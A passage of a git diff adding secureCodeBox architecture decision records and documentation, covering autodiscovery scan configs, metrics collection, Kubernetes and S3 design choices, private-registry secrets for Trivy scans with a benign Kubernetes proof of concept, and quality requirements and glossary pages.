breaking, would not require a lot of work for existing users of the Autodiscovery functionality to migrate (basically only adding a single `-` and some indenting in the config file) +- It is thus a low-effort change that would allow triggering multiple scans without resorting to hacks like triggering an initial `nmap` from the autodiscovery and then cascading from that. + +#### Drawbacks + +- If we only switch the format and nothing else, this would not allow us to support non-HTTP ports / differentiate which scans to trigger based on the open ports. + + +### Option 3: Also Allow Filtering based on Port in the Autodiscovery Scan Configuration + +This option builds on top of option 2, but adds additional fields to the scan specification for the service autodiscovery. These additional fields would allow specifying which ports to match with a specific scan (based on port number and name). That way, we could support non-HTTP services (e.g., SSH, or others, if we ever add support for scanners that connect directly to other protocols, like database engines). + +Old Syntax: +```yaml + # ... + serviceAutoDiscovery: + passiveReconcileInterval: 120s + scanConfig: + scanType: zap-advanced-scan + parameters: + - "--target" + - "{{ .Host.Type }}://{{ .Service.Name }}.{{ .Service.Namespace }}.svc:{{ .Host.Port }}" + - "--context" + - "{{ default `scb-bap-context` (index .Service.Annotations `auto-discovery.securecodebox.io/zap-advanced-context`) }}" +``` + +Proposed new syntax (as an example, naming may vary): +```yaml + # ... + serviceAutoDiscovery: + passiveReconcileInterval: 120s + scanConfigs: + - scanType: zap-advanced-scan + parameters: + - "--target" + - "{{ .Host.Type }}://{{ .Service.Name }}.{{ .Service.Namespace }}.svc:{{ .Host.Port }}" + - "--context" + - "{{ default `scb-bap-context` (index .Service.Annotations `auto-discovery.securecodebox.io/zap-advanced-context`) }}" + matches: + anyOf: + # Syntax below here subject to change - may want to support lists of ports, RegEx matching for the port name, etc. + - Port: 80 + - PortName: "http" +``` + +**Open question**: would something like that also make sense for the container autodiscovery? + +#### Advantages + +- All advantages of option 2 +- Non-HTTP services can be supported (they are currently ignored, with no way to override that behavior) +- Approaches the flexibility of Option 1, without the large overhead in implementation +- If matching is built in a sufficiently modular way, it could also be used without large changes in future autodiscovery implementations for other kinds of resources (AWS autodiscovery?) + +#### Disadvantages + +- More complex solution, requires more changes to the operator +- Less backwards compatibility (although you could set the default behavior to the old list of ports and service names, if none are specified) + +## Decision + + +## Consequences + diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0014.md b/documentation/docs/architecture/09_architecture_decisions/adr_0014.md new file mode 100644 index 0000000000..3d8d2c8a47 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0014.md @@ -0,0 +1,155 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0014: Scan Metric Collection" +sidebar_label: "ADR-0014" +--- +# ADR-0014: Scan Metric Collection + +| <!-- --> | <!-- --> | +|----------------|----------| +| **Status**: | DRAFT | +| **Date**: | 2022-09-01 | +| **Author(s)**: | Max Maass <max.maass@iteratec.com> | + +## Context + +It can be difficult to notice if a scan setup has broken, as long as the scan is still running and returning at least some results. For example, if a ZAP scan is configured with authentication, but the credentials expire or the authentication system is changed, the scan will not error out - it will simply work without authentication and thus provide a lot less data than it would otherwise. We currently do not have a good way of monitoring failure cases like this. Thus, we are considering adding a metrics collection system to the secureCodeBox, so that we at least have the data to potentially write some alerting on. + +The general consensus in the team is that the monitoring itself is not the job of the secureCodeBox - we want to provide the data on a best-effort basis, but we do not want to replace Grafana / Prometheus for the actual monitoring. This ADR thus deals with how metrics can be collected and sent on to a dedicated monitoring platform. + +### Metrics to Collect + +In general, the metrics that could be collected can be split into two types of metrics: +- Standard metrics for all scanners (runtime, number of findings, success or failure) +- Specific metrics for the individual scanners (sent requests and responses, number of responses with specific HTTP status codes, lines of code scanned, ...) + +These two types of metrics must be handled very differently, thus, we will discuss them separately here. + +#### Standard Metrics + +The standard set of metrics can be collected through the operator in combination with Kubernetes functionality. The following metrics should be collected: + +- Running time of the scanner pod +- Number of findings identified by the parser +- ... **TODO**: Any more? + +#### Scanner-specific Metrics + +For the scanner-specific metrics, it gets a bit more complicated. We need to differentiate two cases: either the data we are interested in is part of the machine-readable output format generated by the scanner, or it is only provided in the log output of the tool (but not the file). Metrics that are provided in neither of these two places and cannot be collected by Kubernetes in a standardized way are out of scope for this ADR. + +The exact metrics we are interested in would vary depending on the scanner, and would have to be decided on a case-by-case basis. + +##### Metrics from the Results File + +Metrics that are contained in the file the lurker is pulling from the scanner pod can be extracted by the parser. + +##### Other Metrics + +Some tools do not write the relevant metrics to their output file (e.g., ZAP with its number of requests and their HTTP response codes). In these cases, there are different options for where the metrics may come from. They could be part of the logs printed to the standard output, or exposed by the application on a REST interface while it is running (as is the case for ZAP). In these cases, the data can only be collected while the scanner job is running. + +Assuming we are interested enough in these metrics that we are willing to invest some time, they can be collected using a sidecar container. This sidecar can collect metrics from the running application using its REST interface, and written to a file upon completion of the job. Similarly, it can also wait for the main container to finish executing before pulling in a previously-specified logfile (which would be filled by adding a `| tee >/path/to/file` or similar to the call of the main executable). It can then pull the relevant information from the logfile before putting it into the target metrics file in the file system. In both cases, the file will be collected by the lurker in the same way that it already collects the scanners output files, and provided to the parser. + +In cases where we control the main container (and do not use an official container for the tool), we may be able to dispense with the sidecar entirely and include the processing as part of the main container. + +Challenges: +- Log format may change, leading to higher maintainance overhead - especially since the log format is usually not considered part of the stable interface of a piece of software, so stability guarantees of semantic versioning do not apply. +- Requires writing custom metrics collectors for all scantypes (or at least for all we are interested in). + +### How to Record the Metrics + +There are multiple options for how the collected metrics could then be recorded. + +#### Included in Findings + +The metrics could be written into the Findings by the parser. This would require making changes to the finding format. The format may look something like this: + +Old Format: +```json +[ + {"Finding1" : "content 1"} +] +``` + +New Format: +```json +{ + "findings" = [ + {"Finding1" : "content 1"}, + ], + "metrics" = { + "runtime": 2413, + // ... Extra standard metrics + "scannerMetrics": { + "200_response": 20, + "403_response": 32, + "404_response": 82, + // etc. + } + } +} +``` + +##### Advantages + +- Having everything in one place makes it simpler to work with the data + +##### Drawbacks + +- Requires changes to the findings format, which may cause breakage for third-party scripts developed against the findings format specification +- Requires rewriting several parts of the SCB platform to deal with the new format + +#### Extra File + +Alternatively, the metrics could be provided as an extra file that sits next to the (unchanged) findings and results files. It would be an extra JSON file that contains just the metrics, and may look something like this: + +```json +// Filename: metrics.json +{ + "runtime": 2413, + // ... Extra standard metrics + "scannerMetrics": { + "200_response": 20, + "403_response": 32, + "404_response": 82, + // etc. + } +} +``` + +The extra file would be generated by the parser, and would be accessible to ScanCompletionHooks. + +##### Advantages + +- No changes to the findings format necessary, thus maintaining compatibility of findings format +- Arbitrary format for the metrics file can be chosen + +##### Disadvantages + +- Requires providing additional presigned URLs for this purpose +- Requires changes to the parser and hook SDK, thereby potentially breaking third-party scanners maintained outside of the SCB + + +### Transmitting Metrics to the Monitoring System + +At this point, we have the metrics, but we still need to pass them on to the monitoring system. Regardless of which options were chosen in the previous parts of the design, this would likely be achieved through a ScanCompletionHook that reads the data and converts it to a format suitable for the relevant platform. In the case of push-based metrics systems like Grafana / Elastic, this can be as simple as pushing the data to the platform. For scraping-based systems like Prometheus, a [push gateway](https://github.com/prometheus/pushgateway) may have to be used. The exact implementation would be up to the hook implementer, and not covered in this ADR. The hooks can then also specify a set of annotations that control how the data is labelled in the monitoring system, similar to how it is already being done by the DefectDojo hook. + +## Decision + +For the question of **which metrics to collect:** We will support both a standard set of metrics, and custom metrics provided within a special-purpose file. The exact details are left open for the moment, and will be decided based on feasibility and utility during the implementation. Impacted components: +- **Operator**: Provide the presigned S3 URLs for the metrics collected by sidecars. The operator may also require additional changes to collect system metrics, like pod runtime. +- **Scanners**: Include the extra sidecars, which need to be implemented for scan types that require them. This includes writing those sidecars. +- **Parser SDK**: Provide the additional metrics files and runtime metadata information to the parsers, so they can incorporate it into the metrics. +- **Parsers**: Understand the extra metrics and pull in additional metrics from the result files + +For the question of **how the metrics will be communicated:** In the interest of maintaining compatibility, we will leave the findings format unchanged and introduce a separate metrics file that contains the metrics. Impacted components: +- **Operator**: Provide presigned S3 URLs for the metrics file +- **Parser SDK**: Support returning the metrics and upload them to S3 +- **Parsers**: Generate the metrics data in the right format +- **Hook SDK**: Support pulling in the new metrics file, and support overwriting it for ReadWriteHooks +- **Hooks**: Existing hooks may need to be adapted to support sending the metrics information (e.g., Elastic hook) + +## Consequences + diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0015.md b/documentation/docs/architecture/09_architecture_decisions/adr_0015.md new file mode 100644 index 0000000000..378526cb13 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0015.md @@ -0,0 +1,42 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0015: Kubernetes As Orchestration Engine for Scans" +sidebar_label: "ADR-0015" +--- + +# ADR-0015: Kubernetes As Orchestration Engine for Scans + +| <!-- --> | <!-- --> | +| -------------- | ------------------------------------------------------------------------------------------------------ | +| **Status**: | ACCEPTED | +| **Date**: | 2022-09-13 | +| **Author(s)**: | Jannik Hollenbach <jannik.hollenbach@iteratec.com>, Sven Strittmatter <sven.strittmatter@iteratec.com> | + +:::info +This ADR should have been written prior to implementation. But we started documenting ADR later. This ADR has therefore been written retrospectively to record the decision made at that time. +::: + +## Context + +_secureCodeBox_ is merely an orchestration of various security scanners. [Kubernetes][k8s] is a platform to orchestrate resources. In first place designed to orchestrate data center resources, but [Kubernetes][k8s] extended its capabilities to define [custom resources][k8s-cr]. This opens the possibility to define own resource types which will be orchestrated. Since we run all the integrated security scanners in containers anyway – a _secureCodeBox_ scanner is merely a [Docker][docker] image with a CLI scanner tool installed – it seems to be a perfect match to define these _scanners_ as custom resources and let Kubernetes orchestrate them, instead of implementing this orchestration (with all the consequences) by our own. + +## Decision + +We decided to use [Kubernetes][k8s] as underlying orchestration platform to manage the scan processes. + +## Consequences + +- _secureCodeBox_ is hard coupled to [Kubernetes][k8s] and therefore can't be run w/o a cluster. +- We need to implement an own [operator][k8s-operator] with our business logic. + - Therefore, we need to learn [Go]. +- We loose the web UI from version 1 and users need to use `kubectl` on command line to interact with _secureCodeBox_. +- No backward compatibility to version 1 installations, nor an easy upgrade path. + +[k8s]: https://kubernetes.io/ +[k8s-cr]: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ +[k8s-operator]: https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ +[docker]: https://www.docker.com/ +[go-lang]: https://go.dev/ diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0016.md b/documentation/docs/architecture/09_architecture_decisions/adr_0016.md new file mode 100644 index 0000000000..55cbef8dd3 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0016.md @@ -0,0 +1,41 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0016: S3 As Backend for Persistent Data" +sidebar_label: "ADR-0016" +--- + +# ADR-0016: S3 As Backend for Persistent Data + +| <!-- --> | <!-- --> | +| -------------- | ------------------------------------------------------------------------------------------------------ | +| **Status**: | ACCEPTED | +| **Date**: | 2022-09-13 | +| **Author(s)**: | Jannik Hollenbach <jannik.hollenbach@iteratec.com>, Sven Strittmatter <sven.strittmatter@iteratec.com> | + +:::info +This ADR should have been written prior to implementation. But we started documenting ADR later. This ADR has therefore been written retrospectively to record the decision made at that time. +::: + +## Context + +_secureCodeBox_ needs to saves two things during the execution of a scan: the "raw results / output" of the scanner (e.g. the XML output of nmap) and the findings the parsers extract from it. In the v1 of the secureCodeBox these were stored in camunda variables which were in turn stored in the underlying database as blobs. As both the raw results and findings can get big (multiple megabytes) this requiered a lot of maintenance work to keep the database working correctly without overflowing. + +## Decision + +In v2 we decided to shift the storage to store the raw results and findings as separate files in an S3 bucket. + +S3 was chosen because: + +- it can handle large files without much problems +- is relatively easy to use +- is well supported by (most) cloud supporters +- can be "substituted locally" by minio +- can be used with presigned urls to easily give individual components temporary read or write access to specific files in the s3 bucket + +## Consequences + +- The secureCodeBox requires a S3 bucket locally in the cluster. +- By default the operator sets up a local minio bucket unless access to an external bucket is configured. diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0017.md b/documentation/docs/architecture/09_architecture_decisions/adr_0017.md new file mode 100644 index 0000000000..526ce13154 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0017.md @@ -0,0 +1,177 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0017: Enable container autodiscovery to scan container images from private registries" +sidebar_label: "ADR-0017" +--- + +# ADR-0017: Enable container autodiscovery to scan container images from private registries + +| <!-- --> | <!-- --> | +|----------------|---------------------------------------------------| +| **Status**: | DRAFT | +| **Date**: | 2022-09-13 | +| **Author(s)**: | Simon Hülkenberg <simon.huelkenberg@iteratec.com> | + +## Context + +The secureCodeBox offers an `autodiscovery` feature which automatically creates scheduled scans when new `services` or `containers` (in pods) are created. The container autodiscovery will start a Trivy container scan for every distinct container in a given namespace. Currently, it is not possible to scan container images that require `imagePullSecrets` to download the image. The container autodiscovery will create a scheduled scan but the scan itself will fail. Because of that limitation it is necessary to make the container autodiscovery aware of secrets to enable Trivy to download the container images. + +### Problem regarding imagePullSecretes + +It is possible to configure multiple `imagePullSecrets` in a pods yaml file as seen in this [Stackoverflow](https://stackoverflow.com/questions/67073039/multiple-imagepullsecrets-in-a-kubernetes-deployment-for-the-same-url) post. Kubernetes will then try all available credentials until one succeeds. The container autodiscovery needs to do this too because Trivy does not support multiple `imagePullSecrets` at once. Additionally one can only pass Trivy `imagePullSecrets` as an environment variable whose name depends on the location of the image (see Trivy [docs](https://aquasecurity.github.io/Trivy/v0.17.0/private-registries/)). For google cloud credentials one as to provide a json file path as an environment variable for [example](https://aquasecurity.github.io/Trivy/v0.17.0/private-registries/gcr/), but for dockerhub username and password as environment variable is sufficient. So Trivy configuration changes quite significantly with different platforms. + +Another problem is the fact that `imagePullSecrets` might change over time. It must be ensured that Trivy has access to the newest `imagePullSecrets` when the scan starts. + +### Possible solutions + +In general the easiest solution to provide Trivy with the required credentials are kubernetes secretes that are mounted as environment variables. The following solutions use this idea although the secrets are created through different approaches. + +#### Using an initContainer and a sidecar + +This option does not alter the behavior of the container autodiscovery at all. All additional logic is moved to an `initContainer` and a `sidecar` container. + +The `initContainer` reads the `imagePullSecrets` of the pod that houses the container to be scanned. The `initContainer` must determine which secret is the correct one for the scanned container image. It will then create a temporary secret following a predefined naming scheme (technically the Trivy pod will be created while the secret that is mounted as an environment variable doesn't exit yet, thus the temporary secret name must be predefined). After the `initContainer` created the secret the Trivy container and the `sidecar` will be started. The sidecar will continuously check if the main scan container exited (similar to the lurker) and then delete the temporary secret that was used to pass the credentials to Trivy to clean up after the scan to avoid cluttering of the namespace. +Pros: + +* The autodiscovery logic will not change. +* No secrets that clutter the namespace + +Cons: +* +* By default, a pod does not have sufficient permissions to create/delete secrets, so the pod needs to be assigned a `serviceAccount` with those permissions. +* Logic split up over multiple containers, solution a bit hacky +* Edge Case: Changing the host platform of the container (example: AWS -> GCP) would break the scan because the required environment variables for Trivy must change (as described above). The parameters of the scheduled scan must be changed but the existing autodiscovery operator would lack the logic to do this (no read permissions on secrets so it would notice the difference). + +<details><summary> Proof of concept</summary> +This simplified example will do the following: The `initContainer` will created a secret that is mounted by the main container `imagine-this-is-Trivy`. The main container will print the value of the secret and then sleep for 10 seconds. When the main container completes the `sidecar` will delete the secret. +The real implementation wouldn't use kubectl directly nor the shared volume. This is just a simplification. + +```yaml +kind: ServiceAccount +metadata: + name: internal-kubectl +--- +apiVersion: v1 +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: modify-secrets +rules: +- apiGroups: [""] + resources: + - secrets + verbs: + - get + - create + - list + - delete +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: modify-secrets-to-service-account +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: modify-secrets +subjects: +- kind: ServiceAccount + name: internal-kubectl +--- +apiVersion: batch/v1 +kind: Job +metadata: + name: secret-test +spec: + template: + metadata: + name: secret-test-pod + spec: + serviceAccountName: internal-kubectl + restartPolicy: Never + volumes: + - name: shared-volume + emptyDir: {} + initContainers: + - command: + - sh + - -c + - pacman -Sy && pacman -S --noconfirm kubectl && kubectl create secret generic + some-image-pull-secret --from-literal=username=im_a_secret! + image: archlinux + name: init-secret + containers: + - command: + - sh + - -c + - echo secret is $env_test_secret && sleep 10 && touch /shared-volume/shutdown + env: + - name: env_test_secret + valueFrom: + secretKeyRef: + key: username + name: some-image-pull-secret + image: archlinux + name: imagine-this-is-Trivy + volumeMounts: + - name: shared-volume + mountPath: /shared-volume + - command: + - sh + - -c + - pacman -Sy && pacman -S --noconfirm kubectl && while [ ! -f /shared-volume/shutdown ]; do echo shutdownfile not found && sleep 2; done; kubectl delete secrets some-image-pull-secret + image: archlinux + name: secret-deletion-on-stop-sidecar + volumeMounts: + - name: shared-volume + mountPath: /shared-volume +``` +</details> + +#### Using an initContainer and use ownerReferences for the created secretes + +Using the same initContainer logic described above but setting the ownerReference of the created secrets to the job/pod of the scan would result in similar behavior without the need of a sidecar. + +Pros: +* +* No need for a sidecar while keeping the namespace clean of temporary secrets + +#### Using a separate operator + +Instead of creating the secrets for Trivy at scan runtime all secrets could be created upon pod creation. The new proposed operator would not listen on secrets but on pods (not every secret in a namespace is automatically used as an `imagePullSecret` so it doesn't make sense to subscribe to secrets). When a pod gets created the new operator would check if it has `imagePullSecrets` defined and if so it would check if the specific container was already processed. If not then it would check which `imagePullSecret` belongs to which container and then create the Trivy secrets. Similar to the container autodiscovery this new operator would only create a secret for Trivy for every distinct secret. When a pod gets updated the new operator will check if the `imagePullSecrets` changed. This approach will clutter the namespace quite substantially because the Trivy secrets exist continuously until the secret is not needed anymore (pod that uses the `imagePullSecrets` gets deleted). To be clear: The scheduled scans are still created by the existing autodiscovery. The existing autodiscovery will check if the new operator created a secret for the specific container it wants to scan. If a secret for the container was created the existing autodiscovery would mount this secret. There needs to be a way to tell the existing autodiscovery which pod was processed by the new operator. One could use pod annotations to mark pods as processed (processed := secret was created by the new operator). + +Pros: +* +* Existing autodiscovery does need permissions to read secrets +* It would be possible to only install the existing autodiscovery in case one doesn't like that the secret operator needs read permissions on secrets (Container Autodiscovery and new secret operator could be separate helm charts). +* One could alter the roles of the service account of the new secret operator to only enable it in certain namespaces while using the existing autodiscovery in every namespace (both could use different serviceAccounts). + +Cons: + +* Namespace gets cluttered by secrets created by the new operator +* The new secret operator needs permissions to read, create and delete secrets +* Edge Case: Changing the host platform of the container (example: AWS -> GCP) would break the scan because the required environment variables for Trivy must change (as described above) The parameters of the scheduled scan must be changed but the existing autodiscovery operator would lack the logic to do this (no read permissions on secrets so it would notice the difference). + +#### Modifying the container autodiscovery + +The container autodiscovery itself could test which `imagePullSecret` belongs to which container and then create a scheduled scan that mounts the correct secret directly (without creating new intermediate secrets). With each pod update the autodiscovery would check if the `imagePullSecrets` changed (by checking which secret the underlying scheduled scan mounts) and if the `imagePullSecret` changed it would alter the scheduled scan accordingly. + +Pros: +* +* No initContainers or additional operators +* Secrets will be mounted directly without creating intermediate secrets, Namespace will not be cluttered. +* One could alter the roles of the service account of the container autodiscovery operator to only allow read permission on secrets in certain namespaces while using the existing autodiscovery in every namespace. + +Cons: + +* Per default the container autodiscovery has read permissions on secrets. This can only be changed after installation by altering the clusterRole. + + +## Decision +It was decided to use an initContainer that reads the existing secrets through volumes and then it creates a temporary secret. That secret has a owner reference to the pod the initContainer is running in (which is the pod in which the scan is executed). This way the temporary secret gets automatically deleted after the scan is finished. + +## Consequences +The initContainer must be able to create secrets. This means that the pod in which the scan is executed must use a different serviceAccount than the standard lurker account. A new trivy scan type called `trivy-image-autodiscovery` was introduced that utilizes a serviceAccount with the same rights as the standard lurker serviceAccount plus the right to create secrets. \ No newline at end of file diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_0018.md b/documentation/docs/architecture/09_architecture_decisions/adr_0018.md new file mode 100644 index 0000000000..6fd418f093 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_0018.md @@ -0,0 +1,49 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ADR-0018: Spaces in File Names Are Not Allowed" +sidebar_label: "ADR-0018" +--- +# ADR-0018: Spaces in File Names Are Not Allowed + +| <!-- --> | <!-- --> | +|----------------|----------------------------------------------------| +| **Status**: | ACCEPTED | +| **Date**: | 2022-09-20 | +| **Author(s)**: | Sven Strittmatter <sven.strittmatter@iteratec.com> | + +## Context + +We have the [issue](https://github.com/secureCodeBox/secureCodeBox/issues/1353) that most of our [make][gnu-make] targets fail, if this repository working copy is cloned into a file location which contains white spaces in its file path. + +We chose [make][gnu-make] as build tool because of its maturity and capabilities, but it lacks one essential feature: Handling of white spaces in paths. Of course, it is possible to escape paths, but this has only an effect to paths passed as string to a make target's command which will be evaluated by the shell. [Make][gnu-make] itself ignores such escaping which leads to bugs especially in constructs such as: + +```makefile +@for chart in $(HOOKS_CHART_LIST); do \ + $(BIN_DIR)/generate-helm-docs.sh --hook $${chart} $(HELM_DOCS_DIR); \ +done +``` + +### Problem + +The for-construct of shell does word splitting on any whitespace, not only newline. We assume lists of directories delimited by newlines. We heavily rely on looping subdirectories with such loops to build our modules (scanners, hooks etc.). Using a different sentinel character (e.g. `:`) is not a possible fix because setting `IFS` in the `Makefile` has no effect on word splitting, even for while-read loops. + +### Solutions + +1. To fix this we need to extract all of these loop constructs into shell scripts (like `bin/npm-ci-all.sh` for the `npm-ci-all` target). That's lot of work and counteracts the sense of [make][gnu-make]. +2. Use another build tool which can deal with this will also result in a lot of work. We just did this to use [make][gnu-make]. Luckily we cleaned up lot of things, so this may take less effort than the migration to [make][gnu-make]. +3. Simply forbid white spaces in file names. + +## Decision + +We decided to simply forbid white spaces in file paths. If one clones the repository to a location with white spaces in the path we exit make with an error message. + +## Consequences + +- We must not use white spaces for filenames in our repository. +- Windows users will possibly have a slightly worse user experience. +- Someone who can't freely modify or change the target path for his working copy can't make the secureCodeBox. + +[gnu-make]: https://www.gnu.org/software/make/ diff --git a/documentation/docs/architecture/09_architecture_decisions/adr_README.md b/documentation/docs/architecture/09_architecture_decisions/adr_README.md new file mode 100644 index 0000000000..131ed7d06f --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/adr_README.md @@ -0,0 +1,28 @@ +<!-- +SPDX-FileCopyrightText: the secureCodeBox authors + +SPDX-License-Identifier: Apache-2.0 +--> + +# Architecture Decision Records (ADRs) + +This subdirectory contains all ADRs for the architecture documentation. The ids of these ADRs are within the number range from 0001 to 0999. The 0000 is reserved for the example template. + +Architectural decisions are, where appropriate, documented with the ADR template from [Michael Nygard][nygard]. A template can be found at `adr_0000.md` and [here][template]. We extend this template with the date when this decision was made. + +Important key points from the blog of [Michael Nygard][nygard]: + +> We will keep a collection of records for "architecturally significant" decisions: those that affect the structure, non-functional characteristics, dependencies, interfaces, or construction techniques. +> +> Each record describes a set of forces and a single decision in response to those forces. Note that the decision is the central piece here, so specific forces may appear in multiple ADRs. +> +> We will keep ADRs in the project repository under `adr/NNNN.md`. +> +> ADRs will be numbered sequentially and monotonically. **Numbers will not be reused.** +> +> If a decision is reversed, we will **keep the old** one around, but mark it as superseded. (It's still relevant to know that it was the decision, but is no longer the decision.) + +Please take a look in the ADR template `adr_0000.md` for more information about the internal structure. + +[nygard]: http://thinkrelevance.com/blog/2011/11/15/documenting-architecture-decisions +[template]: https://github.com/joelparkerhenderson/architecture_decision_record/blob/master/adr_template_by_michael_nygard.md diff --git a/documentation/docs/architecture/09_architecture_decisions/index.md b/documentation/docs/architecture/09_architecture_decisions/index.md new file mode 100644 index 0000000000..2e571f3b08 --- /dev/null +++ b/documentation/docs/architecture/09_architecture_decisions/index.md @@ -0,0 +1,39 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Architecture Decisions" +sidebar_label: "Architecture Decisions" +sidebar_position: 9 +--- +# Architecture Decisions {#section-design-decisions} + +We use _architecture decision records (ADR)_ to [document our architecture decissions][adr-nygard]. We adopted the [template][adr-template] from [Joel Parker Henderson][gh-henderson]. + +You find all ADRs in the sidebar below this section. They are numbered and ordered in their time of emergence. + +### Table of contents +| ADR | Title | +| ---- | ---- | +| [0001](./adr_0001.md) | Choosing the framework for the new secureCodeBox Website | +| [0002](./adr_0002.md) | How can we introduce a more general extension concept for data processing modules? | +| [0003](./adr_0003.md) | How can we introduce a mechanism to start specialized scans on the results of previous scans? | +| [0004](./adr_0004.md) | Which framework could be more useful for documentation purposes? | +| [0005](./adr_0005.md) | Buying separate marketing oriented webpage | +| [0006](./adr_0006.md) | Provide versioned documentation | +| [0007](./adr_0007.md) | Proposal How to Mark Findings With Hashes to Find Duplicates | +| [0008](./adr_0008.md) | Drop the Former Decision To Provide Versioned Documentation | +| [0009](./adr_0009.md) | Architecture for pre-populating the file system of scanners | +| [0010](./adr_0010.md) | Custom Inheritance Behavior for Affinity and Tolerations | +| [0011](./adr_0011.md) | Version Numbers | +| [0012](./adr_0012.md) | Cluster Wide Custom Resources | +| [0013](./adr_0013.md) | Autodiscovery v2 | +| [0014](./adr_0014.md) | Scan Metric Collection | +| [0015](./adr_0015.md) | Kubernetes As Orchestration Engine for Scans | +| [0016](./adr_0016.md) | S3 As Backend for Persistent Data | +| [0018](./adr_0018.md) | Spaces in File Names Are Not Allowed | + +[adr-nygard]: https://cognitect.com/blog/2011/11/15/documenting-architecture-decisions +[adr-template]: https://github.com/joelparkerhenderson/architecture-decision-record/blob/main/templates/decision-record-template-by-michael-nygard/index.md +[gh-henderson]: https://github.com/joelparkerhenderson diff --git a/documentation/docs/architecture/10_quality_requirements.md b/documentation/docs/architecture/10_quality_requirements.md new file mode 100644 index 0000000000..4477fc6031 --- /dev/null +++ b/documentation/docs/architecture/10_quality_requirements.md @@ -0,0 +1,40 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Quality Requirements" +sidebar_label: "Quality Requirements" +sidebar_position: 10 +--- +# Quality Requirements {#section-quality-scenarios} + +Below, qualities are described that this project strives for. The qualities are categorized using the [ISO 25010][iso-25010] standard. + +## Quality Tree {#_quality_tree} + +| **Category** | **Quality** | **Description** | **Scenario** | +|------------------------|----------------------|----------------------------------------------------------------------|--------------| +| Functional Suitability | | | | +| Performance Efficiency | Resource Efficient | SCB should scale to the available resources | SC3 | +| | Time Efficient | Tasks should run parallel to optimize the use of resources | | +| Compatibility | | | | +| Usability | Ease of Integration | The definition and implementation of a scan process should be easy | SC4 | +| Reliability | | | | +| Security | | | | +| Maintainability | Modular | All components should be loosely coupled to easily swap them | | +| | Ease of integration | It should be possible to easily integrate new scanners | | +| | Ease of Contributing | SCB should be well documented | | +| | Ease of updating | Third-party software should be carefully chosen, for maintainability | SC1 | +| Portability | Adaptable | SCB Should run everywhere (local, VMs, Cloud, etc.) | SC2 | + +## Quality Scenarios {#_quality_scenarios} + +| **Id** | **Scenario** | +|--------|-------------------------------------------------------------------------------------------------------| +| SC1 | A third-party updates their software with a breaking change. Effort to support this update is minimal | +| SC2 | A company is running SCB in the cloud, due to limited resources on premise | +| SC3 | SCB is out of resources and a new scan is initiated. The scan is queued until resources are available | +| SC4 | A scan is easily created and started by writing and loading a config file | + +[iso-25010]: https://iso25000.com/index.php/en/iso-25000-standards/iso-25010 diff --git a/documentation/docs/architecture/11_technical_risks.md b/documentation/docs/architecture/11_technical_risks.md new file mode 100644 index 0000000000..edee0fcf27 --- /dev/null +++ b/documentation/docs/architecture/11_technical_risks.md @@ -0,0 +1,14 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Risks and Technical Debts" +sidebar_label: "Risks and Technical Debts" +sidebar_position: 11 +--- +# Risks and Technical Debts {#section-technical-risks} + +:::note +Not defined yet. +::: diff --git a/documentation/docs/architecture/12_glossary.md b/documentation/docs/architecture/12_glossary.md new file mode 100644 index 0000000000..e48101505c --- /dev/null +++ b/documentation/docs/architecture/12_glossary.md @@ -0,0 +1,65 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Glossary" +sidebar_label: "Glossary" +sidebar_position: 12 +--- +# Glossary {#section-glossary} + +_API_: An [Application Programming Interface](https://en.wikipedia.org/wiki/Application_programming_interface) (API) is a computing interface which defines interactions between multiple software intermediaries. + +_Charts_: Template files for [Helm][] to configure the deployment on [Kubernetes][k82]. + +_CI_: [Continuous Integration][wiki-Continuous-integration]. + +_Container_: Concept for [OS-level virtualization][wiki-container]. + +_CRD_: Acronym for [Custom Ressource Definition](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/). + +_Custom Resource Definition (CRD)_: This is a [concept from Kubernetes][k8s-custom-resources] to define custom resource types additionally to the provided ones from Kubernetes. + +_GUID_: Acronym for [Globally Unique Identifier](https://en.wikipedia.org/wiki/Universally_unique_identifier). + +_Hook_: A _hook_ is a concept in _secureCodeBox_ to give the opportunity to react on detected findings. _Hooks_ are invoked after parsing and storing the _Findings_. There are two kinds of _Hooks_: _ReadHooks_ and _ReadWriteHooks_. See the [_hooks_ documentation](/docs/hooks) for more details. + +_Job_: A Job creates one or more Pods and will continue to retry execution of the Pods until a specified number of them successfully terminate. (see [official Kubernetes documentation][k82-job-doc].) + +_Engine_: This is the central component of the _secureCodeBox_ which controls the business logic. It implements the _operator_ pattern. + +_Finding_: This is one single possible security issue found by a _scanner_ which is stored as [well-defined format](/docs/api/finding). + +_K8S_: Acronym for 